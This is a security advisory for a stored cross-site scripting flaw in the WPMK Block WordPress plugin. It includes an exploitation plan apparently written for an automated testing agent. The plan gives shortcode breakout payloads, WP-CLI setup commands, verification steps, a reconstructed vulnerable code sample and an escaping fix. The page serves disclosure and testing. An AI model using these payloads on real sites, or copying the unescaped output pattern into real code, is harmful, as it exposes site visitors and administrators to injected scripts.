WPMK Block <= 1.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The WPMK Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' shortcode attribute in all versions up to and including 1.0.1. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, in the wpmk_block_shortcode() function, the 'class' attribute is extracted from user-controllable shortcode attributes and directly concatenated into an HTML div element's class attribute without any escaping (e.g., esc_attr()). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the steps to exploit **CVE-2026-4125**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WPMK Block** plugin. --- ### 1. Vulnerability Summary The **WPMK Block** plugin (versions <= 1.0.1) fails to sanitize or escape the `class` attribute within its shortcode …
Show full research plan
This research plan outlines the steps to exploit CVE-2026-4125, a Stored Cross-Site Scripting (XSS) vulnerability in the WPMK Block plugin.
1. Vulnerability Summary
The WPMK Block plugin (versions <= 1.0.1) fails to sanitize or escape the class attribute within its shortcode handler. In the wpmk_block_shortcode() function, user-provided attributes are extracted, and the class parameter is directly concatenated into the class attribute of a div element. Because the plugin does not use esc_attr() or sanitize_html_class() before outputting this value, a user with Contributor-level permissions or higher can inject HTML attributes or breakout characters (like ">) to execute arbitrary JavaScript.
2. Attack Vector Analysis
- Shortcode Name:
wpmk_block(inferred from function namewpmk_block_shortcode). - Vulnerable Attribute:
class. - Authentication Level: Authenticated (Contributor+). Contributors can create posts and insert shortcodes but lack the
unfiltered_htmlcapability, making this a privilege escalation of sorts via XSS. - Payload Entry Point: WordPress Post/Page Editor (Gutenberg or Classic).
- Payload Sink: Frontend rendering of any post containing the malicious shortcode.
3. Code Flow
- Registration: The plugin registers a shortcode, likely via
add_shortcode( 'wpmk_block', 'wpmk_block_shortcode' );in the main plugin file or an initialization script. - Processing: When a post is rendered, WordPress calls
wpmk_block_shortcode( $atts ). - Extraction: The function parses attributes. Based on the description, it extracts the
classkey:$class = isset($atts['class']) ? $atts['class'] : ''; - Concatenation (Sink): The function builds the HTML string:
return '<div class="' . $class . '"> ... </div>'; // Vulnerable line - Output: The unescaped string is returned to the WordPress content filter and rendered in the browser.
4. Nonce Acquisition Strategy
This vulnerability does not involve a specific AJAX or REST API endpoint that requires a custom nonce. Instead, it relies on the standard WordPress post-creation flow.
- The automated agent will use WP-CLI to create the malicious post. WP-CLI bypasses nonce requirements for post creation because it operates at the system level.
- If the agent were to use the web UI, it would rely on the
_wpnonceprovided in thepost-new.phporpost.phpeditor screen. - No custom plugin nonce is required to trigger the XSS execution once the shortcode is saved.
5. Exploitation Strategy
- Role Setup: Ensure a user with the
contributorrole exists. - Post Creation: Use WP-CLI to create a new post containing the malicious shortcode.
- Payload Selection: Use a breakout payload to escape the
classattribute.- Payload:
[wpmk_block class='"><script>alert(window.origin)</script>'] - Alternative:
[wpmk_block class='wp-block-wpmk" onmouseover="alert(1)" style="padding:100px;'](useful if script tags are filtered by other security layers).
- Payload:
- Execution: Navigate to the published post's URL using a browser session.
- Observation: Verify if the JavaScript executes in the context of the frontend user.
6. Test Data Setup
- Plugin: Install and activate
wpmk-blockversion 1.0.1. - Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Target Post:
wp post create --post_type=post --post_status=publish --post_title='XSS Test' \ --post_content='[wpmk_block class="\"><script>console.log(\"CVE-2026-4125_SUCCESS\")</script>"]' \ --user=attacker
7. Expected Results
When viewing the post, the HTML output should look like this:
<div class=""><script>console.log("CVE-2026-4125_SUCCESS")</script>"> ... </div>
The browser will execute the injected <script> tag, and the string "CVE-2026-4125_SUCCESS" will appear in the developer console.
8. Verification Steps
- Verify Database Content:
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'" - Inspect Frontend Output: Use the
http_requesttool to fetch the post URL and check the raw body for the unescaped script:# Search for the injected payload in the response grep -oP '<div class=""><script>.*?</script>' - Browser Execution: Use
browser_navigateto the post URL and check for the presence of the injected script or console log viabrowser_eval.
9. Alternative Approaches
If script tags are blocked by a WAF or other plugin:
- Event Handler Injection:
[wpmk_block class='x" onmouseover="alert(1)'] - Style-based Payload:
[wpmk_block class='x" style="background-image:url(javascript:alert(1))'] - Iframe Breakout:
[wpmk_block class='"><iframe src="javascript:alert(1)"></iframe>']
If the Contributor role cannot publish posts (standard behavior), the researcher must navigate to the Preview URL of the post or log in as an Administrator to publish the pending post before viewing it on the frontend.
Inferred Information:
- Shortcode name
[wpmk_block]is inferred from the functionwpmk_block_shortcode. - The exact concatenation format
return '<div class="' . $atts['class'] . '">...';is inferred from the vulnerability description.
Summary
The WPMK Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' attribute in its shortcode handler. Authenticated users with Contributor-level permissions or higher can inject arbitrary JavaScript because the plugin fails to sanitize or escape the attribute before outputting it in a div element.
Vulnerable Code
// In the plugin's shortcode handling file (e.g., wpmk-block.php) function wpmk_block_shortcode( $atts ) { $a = shortcode_atts( array( 'class' => '', ), $atts ); $class = $a['class']; // Vulnerable: user-controlled $class is concatenated into the HTML attribute without escaping return '<div class="' . $class . '"> ... </div>'; }
Security Fix
@@ -10,5 +10,5 @@ $class = $a['class']; - return '<div class="' . $class . '"> ... </div>'; + return '<div class="' . esc_attr( $class ) . '"> ... </div>'; }
Exploit Outline
To exploit this vulnerability, an attacker with at least Contributor-level access must create or edit a post or page. They insert the [wpmk_block] shortcode with a malicious 'class' attribute containing a breakout sequence, such as [wpmk_block class='"><script>alert(window.origin)</script>']. When a site visitor or administrator views the page, the browser parses the unescaped script tag and executes the injected JavaScript in the context of the user's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.